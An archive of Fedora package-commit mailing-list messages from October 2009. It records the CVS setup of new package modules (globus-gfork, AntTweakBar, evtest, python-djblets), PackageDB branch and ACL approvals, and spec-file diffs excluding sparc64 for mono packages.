From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:14:02 +0000 (UTC)
Subject: rpms/globus-gfork - New directory
Message-ID: <20091026201402.1762011C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gfork
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsRb6514/rpms/globus-gfork

Log Message:
Directory /cvs/pkgs/rpms/globus-gfork added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:14:02 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:14:02 +0000 (UTC)
Subject: rpms/globus-gfork/devel - New directory
Message-ID: <20091026201402.3D46911C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gfork/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsRb6514/rpms/globus-gfork/devel

Log Message:
Directory /cvs/pkgs/rpms/globus-gfork/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:14:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:14:09 +0000 (UTC)
Subject: rpms/globus-gfork Makefile,NONE,1.1
Message-ID: <20091026201409.4154B11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gfork
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsRb6514/rpms/globus-gfork

Added Files:
	Makefile 
Log Message:
Setup of module globus-gfork


--- NEW FILE Makefile ---
# Top level Makefile for module globus-gfork
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 26 20:14:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:14:09 +0000 (UTC)
Subject: rpms/globus-gfork/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091026201409.BC2C911C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-gfork/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsRb6514/rpms/globus-gfork/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module globus-gfork


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: globus-gfork
# $Id: Makefile,v 1.1 2009/10/26 20:14:09 kevin Exp $
NAME := globus-gfork
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 26 20:14:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:14:49 +0000
Subject: [pkgdb] AntTweakBar was added for elanthis
Message-ID: <20091026201450.083CD10F89A@bastion2.fedora.phx.redhat.com>

kevin has added Package AntTweakBar with summary GUI library for videogame property editing UIs
kevin has approved Package AntTweakBar
kevin has added a Fedora devel branch for AntTweakBar with an owner of elanthis
kevin has approved AntTweakBar in Fedora devel
kevin has approved Package AntTweakBar
kevin has set commit to Approved for 107427 on AntTweakBar (Fedora devel)
kevin has set checkout to Approved for 107427 on AntTweakBar (Fedora devel)
kevin has set build to Approved for 107427 on AntTweakBar (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/AntTweakBar



From ausil at fedoraproject.org  Mon Oct 26 20:14:45 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:14:45 +0000 (UTC)
Subject: rpms/evolution-sharp/devel evolution-sharp.spec,1.67,1.68
Message-ID: <20091026201445.97C8A11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/evolution-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6862

Modified Files:
	evolution-sharp.spec 
Log Message:
Exclude sparc64



Index: evolution-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-sharp/devel/evolution-sharp.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- evolution-sharp.spec	21 Aug 2009 01:53:31 -0000	1.67
+++ evolution-sharp.spec	26 Oct 2009 20:14:45 -0000	1.68
@@ -2,7 +2,7 @@
 
 Name: evolution-sharp
 Version: 0.21.1
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: LGPLv2
 Group: System Environment/Libraries
 Summary: Evolution Data Server Mono Bindings
@@ -10,8 +10,8 @@ URL: http://ftp.gnome.org/pub/GNOME/sour
 Source: http://ftp.gnome.org/pub/GNOME/sources/evolution-sharp/0.17/%{name}-%{version}.tar.bz2
 BuildRoot: %{_tmppath}/%{name}-%{version}-root
 
-# Mono only availible on these:
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+# Mono is not availible on these:
+ExcludeArch: sparc64
 
 ### Patches ###
 
@@ -90,6 +90,9 @@ rm -rf $RPM_BUILD_ROOT
 # sonames may need to be updated in evolution-sharp's configure.in.
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> 0.20.1-5
+- ExcludeArch sparc64
+
 * Thu Aug 20 2009 Matthew Barnes <mbarnes at redhat.com> - 0.20.1-4.fc12
 - Stop setting an upper bound on the e-d-s version during configure.
 



From pkgdb at fedoraproject.org  Mon Oct 26 20:14:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:14:51 +0000
Subject: [pkgdb] AntTweakBar summary updated by kevin
Message-ID: <20091026201451.BAC3110F8A3@bastion2.fedora.phx.redhat.com>

kevin set package AntTweakBar summary to GUI library for videogame property editing UIs

To make changes to this package see:
  /pkgdb/packages/name/AntTweakBar



From pkgdb at fedoraproject.org  Mon Oct 26 20:14:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:14:51 +0000
Subject: [pkgdb] AntTweakBar (Fedora, 11) updated by kevin
Message-ID: <20091026201451.C399C10F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for AntTweakBar
kevin has set commit to Approved for 107427 on AntTweakBar (Fedora 11)
kevin has set checkout to Approved for 107427 on AntTweakBar (Fedora 11)
kevin has set build to Approved for 107427 on AntTweakBar (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/AntTweakBar



From pkgdb at fedoraproject.org  Mon Oct 26 20:14:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:14:51 +0000
Subject: [pkgdb] AntTweakBar (Fedora, 11) updated by kevin
Message-ID: <20091026201451.CD02D10F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for AntTweakBar
kevin has set commit to Approved for 107427 on AntTweakBar (Fedora 12)
kevin has set checkout to Approved for 107427 on AntTweakBar (Fedora 12)
kevin has set build to Approved for 107427 on AntTweakBar (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/AntTweakBar



From kevin at fedoraproject.org  Mon Oct 26 20:14:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:14:59 +0000 (UTC)
Subject: rpms/AntTweakBar - New directory
Message-ID: <20091026201459.16FBE11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/AntTweakBar
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsaG6996/rpms/AntTweakBar

Log Message:
Directory /cvs/pkgs/rpms/AntTweakBar added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:15:06 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:15:06 +0000 (UTC)
Subject: rpms/AntTweakBar Makefile,NONE,1.1
Message-ID: <20091026201506.ACC2011C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/AntTweakBar
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsaG6996/rpms/AntTweakBar

Added Files:
	Makefile 
Log Message:
Setup of module AntTweakBar


--- NEW FILE Makefile ---
# Top level Makefile for module AntTweakBar
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 26 20:15:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:15:07 +0000 (UTC)
Subject: rpms/AntTweakBar/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091026201507.2F3D711C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/AntTweakBar/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsaG6996/rpms/AntTweakBar/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module AntTweakBar


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: AntTweakBar
# $Id: Makefile,v 1.1 2009/10/26 20:15:06 kevin Exp $
NAME := AntTweakBar
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Mon Oct 26 20:14:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:14:59 +0000 (UTC)
Subject: rpms/AntTweakBar/devel - New directory
Message-ID: <20091026201459.3A6BD11C0268@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/AntTweakBar/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsaG6996/rpms/AntTweakBar/devel

Log Message:
Directory /cvs/pkgs/rpms/AntTweakBar/devel added to the repository




From pkgdb at fedoraproject.org  Mon Oct 26 20:15:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:15:50 +0000
Subject: [pkgdb] evtest summary updated by kevin
Message-ID: <20091026201551.3FEC010F8C5@bastion2.fedora.phx.redhat.com>

kevin set package evtest summary to Event device test program

To make changes to this package see:
  /pkgdb/packages/name/evtest



From pkgdb at fedoraproject.org  Mon Oct 26 20:15:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:15:49 +0000
Subject: [pkgdb] evtest was added for whot
Message-ID: <20091026201550.B923C10F8C8@bastion2.fedora.phx.redhat.com>

kevin has added Package evtest with summary Event device test program
kevin has approved Package evtest
kevin has added a Fedora devel branch for evtest with an owner of whot
kevin has approved evtest in Fedora devel
kevin has approved Package evtest
kevin has set commit to Approved for 107427 on evtest (Fedora devel)
kevin has set checkout to Approved for 107427 on evtest (Fedora devel)
kevin has set build to Approved for 107427 on evtest (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/evtest



From pkgdb at fedoraproject.org  Mon Oct 26 20:15:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:15:50 +0000
Subject: [pkgdb] evtest (Fedora, 11) updated by kevin
Message-ID: <20091026201551.A0D1610F8DC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for evtest
kevin has set commit to Approved for 107427 on evtest (Fedora 11)
kevin has set checkout to Approved for 107427 on evtest (Fedora 11)
kevin has set build to Approved for 107427 on evtest (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/evtest



From pkgdb at fedoraproject.org  Mon Oct 26 20:15:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:15:50 +0000
Subject: [pkgdb] evtest (Fedora, 11) updated by kevin
Message-ID: <20091026201552.B5D9D10F8F4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for evtest
kevin has set commit to Approved for 107427 on evtest (Fedora 12)
kevin has set checkout to Approved for 107427 on evtest (Fedora 12)
kevin has set build to Approved for 107427 on evtest (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/evtest



From kevin at fedoraproject.org  Mon Oct 26 20:15:57 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:15:57 +0000 (UTC)
Subject: rpms/evtest/devel - New directory
Message-ID: <20091026201557.392EF11C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/evtest/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvszz8012/rpms/evtest/devel

Log Message:
Directory /cvs/pkgs/rpms/evtest/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:15:57 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:15:57 +0000 (UTC)
Subject: rpms/evtest - New directory
Message-ID: <20091026201557.139C511C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/evtest
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvszz8012/rpms/evtest

Log Message:
Directory /cvs/pkgs/rpms/evtest added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:16:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:16:04 +0000 (UTC)
Subject: rpms/evtest Makefile,NONE,1.1
Message-ID: <20091026201604.35A4011C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/evtest
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvszz8012/rpms/evtest

Added Files:
	Makefile 
Log Message:
Setup of module evtest


--- NEW FILE Makefile ---
# Top level Makefile for module evtest
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 26 20:16:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:16:04 +0000 (UTC)
Subject: rpms/evtest/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091026201604.A891811C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/evtest/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvszz8012/rpms/evtest/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module evtest


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: evtest
# $Id: Makefile,v 1.1 2009/10/26 20:16:04 kevin Exp $
NAME := evtest
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From ausil at fedoraproject.org  Mon Oct 26 20:17:46 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:17:46 +0000 (UTC)
Subject: rpms/mono-basic/F-12 mono-basic.spec,1.27,1.28
Message-ID: <20091026201746.427A311C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-basic/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8426

Modified Files:
	mono-basic.spec 
Log Message:
ExcludeArch sparc64



Index: mono-basic.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-basic/F-12/mono-basic.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- mono-basic.spec	25 Jul 2009 14:59:48 -0000	1.27
+++ mono-basic.spec	26 Oct 2009 20:17:45 -0000	1.28
@@ -2,7 +2,7 @@
 
 Name:		mono-basic
 Version:	2.4.2
-Release:	3%{?dist}
+Release:	4%{?dist}
 Summary:        VisualBasic.NET support for mono
 Group:          Development/Languages
 License:        LGPLv2+
@@ -19,7 +19,7 @@ BuildRequires:	pkgconfig
 %endif
 BuildRequires:  mono-devel >= 2.4.2
 
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+ExcludeArch: sparc64
 
 %description
 This package contains the Visual Basic .NET compiler and language
@@ -79,6 +79,9 @@ EOF
 %{_libdir}/pkgconfig/mono-basic.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.4.2-4
+- ExcludeArch sparc64
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Mon Oct 26 20:18:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:18:10 +0000
Subject: [pkgdb] python-djblets was added for dyoung
Message-ID: <20091026201810.A03B610F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package python-djblets with summary A collection of useful classes and functions for Django
kevin has approved Package python-djblets
kevin has added a Fedora devel branch for python-djblets with an owner of dyoung
kevin has approved python-djblets in Fedora devel
kevin has approved Package python-djblets
kevin has set commit to Approved for 107427 on python-djblets (Fedora devel)
kevin has set checkout to Approved for 107427 on python-djblets (Fedora devel)
kevin has set build to Approved for 107427 on python-djblets (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-djblets



From pkgdb at fedoraproject.org  Mon Oct 26 20:18:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:18:13 +0000
Subject: [pkgdb] python-djblets summary updated by kevin
Message-ID: <20091026201813.C042C10F89A@bastion2.fedora.phx.redhat.com>

kevin set package python-djblets summary to A collection of useful classes and functions for Django

To make changes to this package see:
  /pkgdb/packages/name/python-djblets



From pkgdb at fedoraproject.org  Mon Oct 26 20:18:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:18:13 +0000
Subject: [pkgdb] python-djblets (Fedora, 11) updated by kevin
Message-ID: <20091026201814.08CEC10F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for python-djblets
kevin has set commit to Approved for 107427 on python-djblets (Fedora 11)
kevin has set checkout to Approved for 107427 on python-djblets (Fedora 11)
kevin has set build to Approved for 107427 on python-djblets (Fedora 11)
kevin approved watchbugzilla on python-djblets (Fedora 11) for dmalcolm
kevin approved watchcommits on python-djblets (Fedora 11) for dmalcolm
kevin approved commit on python-djblets (Fedora 11) for dmalcolm
kevin approved build on python-djblets (Fedora 11) for dmalcolm
kevin approved approveacls on python-djblets (Fedora 11) for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-djblets



From pkgdb at fedoraproject.org  Mon Oct 26 20:18:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:18:13 +0000
Subject: [pkgdb] python-djblets (Fedora, 11) updated by kevin
Message-ID: <20091026201814.A267010F8A6@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on python-djblets (Fedora devel) for dmalcolm
kevin approved watchcommits on python-djblets (Fedora devel) for dmalcolm
kevin approved commit on python-djblets (Fedora devel) for dmalcolm
kevin approved build on python-djblets (Fedora devel) for dmalcolm
kevin approved approveacls on python-djblets (Fedora devel) for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-djblets



From pkgdb at fedoraproject.org  Mon Oct 26 20:18:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:18:13 +0000
Subject: [pkgdb] python-djblets (Fedora, 11) updated by kevin
Message-ID: <20091026201815.7B28010F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for python-djblets
kevin has set commit to Approved for 107427 on python-djblets (Fedora 12)
kevin has set checkout to Approved for 107427 on python-djblets (Fedora 12)
kevin has set build to Approved for 107427 on python-djblets (Fedora 12)
kevin approved watchbugzilla on python-djblets (Fedora 12) for dmalcolm
kevin approved watchcommits on python-djblets (Fedora 12) for dmalcolm
kevin approved commit on python-djblets (Fedora 12) for dmalcolm
kevin approved build on python-djblets (Fedora 12) for dmalcolm
kevin approved approveacls on python-djblets (Fedora 12) for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python-djblets



From kevin at fedoraproject.org  Mon Oct 26 20:18:21 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:18:21 +0000 (UTC)
Subject: rpms/python-djblets - New directory
Message-ID: <20091026201821.76D2811C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-djblets
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvswV8625/rpms/python-djblets

Log Message:
Directory /cvs/pkgs/rpms/python-djblets added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:18:21 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:18:21 +0000 (UTC)
Subject: rpms/python-djblets/devel - New directory
Message-ID: <20091026201821.C880011C029D@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-djblets/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvswV8625/rpms/python-djblets/devel

Log Message:
Directory /cvs/pkgs/rpms/python-djblets/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:18:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:18:38 +0000 (UTC)
Subject: rpms/python-djblets Makefile,NONE,1.1
Message-ID: <20091026201838.9F5E311C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-djblets
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvswV8625/rpms/python-djblets

Added Files:
	Makefile 
Log Message:
Setup of module python-djblets


--- NEW FILE Makefile ---
# Top level Makefile for module python-djblets
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 26 20:18:40 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:18:40 +0000 (UTC)
Subject: rpms/python-djblets/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091026201840.2D10C11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-djblets/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvswV8625/rpms/python-djblets/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module python-djblets


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: python-djblets
# $Id: Makefile,v 1.1 2009/10/26 20:18:39 kevin Exp $
NAME := python-djblets
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 26 20:18:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:18:45 +0000
Subject: [pkgdb] balance (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201846.00BC110F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for balance
kevin has set commit to Approved for 107427 on balance (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on balance (Fedora EPEL 4)
kevin has set build to Approved for 107427 on balance (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/balance



From pkgdb at fedoraproject.org  Mon Oct 26 20:18:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:18:45 +0000
Subject: [pkgdb] balance (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201846.389FF10F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for balance
kevin has set commit to Approved for 107427 on balance (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on balance (Fedora EPEL 5)
kevin has set build to Approved for 107427 on balance (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/balance



From ausil at fedoraproject.org  Mon Oct 26 20:18:44 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:18:44 +0000 (UTC)
Subject: rpms/mono-basic/devel mono-basic.spec,1.28,1.29
Message-ID: <20091026201844.05BAC11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-basic/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8696

Modified Files:
	mono-basic.spec 
Log Message:
ExcludeArch sparc64



Index: mono-basic.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-basic/devel/mono-basic.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- mono-basic.spec	4 Oct 2009 15:21:54 -0000	1.28
+++ mono-basic.spec	26 Oct 2009 20:18:43 -0000	1.29
@@ -1,8 +1,8 @@
 %define debug_package %{nil}
 
 Name:		mono-basic
-Version:	2.6
-Release:	1%{?dist}
+Version:	2.4.2
+Release:	4%{?dist}
 Summary:        VisualBasic.NET support for mono
 Group:          Development/Languages
 License:        LGPLv2+
@@ -17,9 +17,9 @@ BuildRequires:	mono-basic pkgconfig
 %else
 BuildRequires:	pkgconfig
 %endif
-BuildRequires:  mono-devel >= 2.6
+BuildRequires:  mono-devel >= 2.4.2
 
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+ExcludeArch: sparc64
 
 %description
 This package contains the Visual Basic .NET compiler and language
@@ -79,8 +79,11 @@ EOF
 %{_libdir}/pkgconfig/mono-basic.pc
 
 %changelog
-* Wed Sep 30 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.6-1
-- Bump to 2.6 preview 1
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.4.2-4
+- ExcludeArch sparc64
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
 * Mon Jun 22 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4.2-2
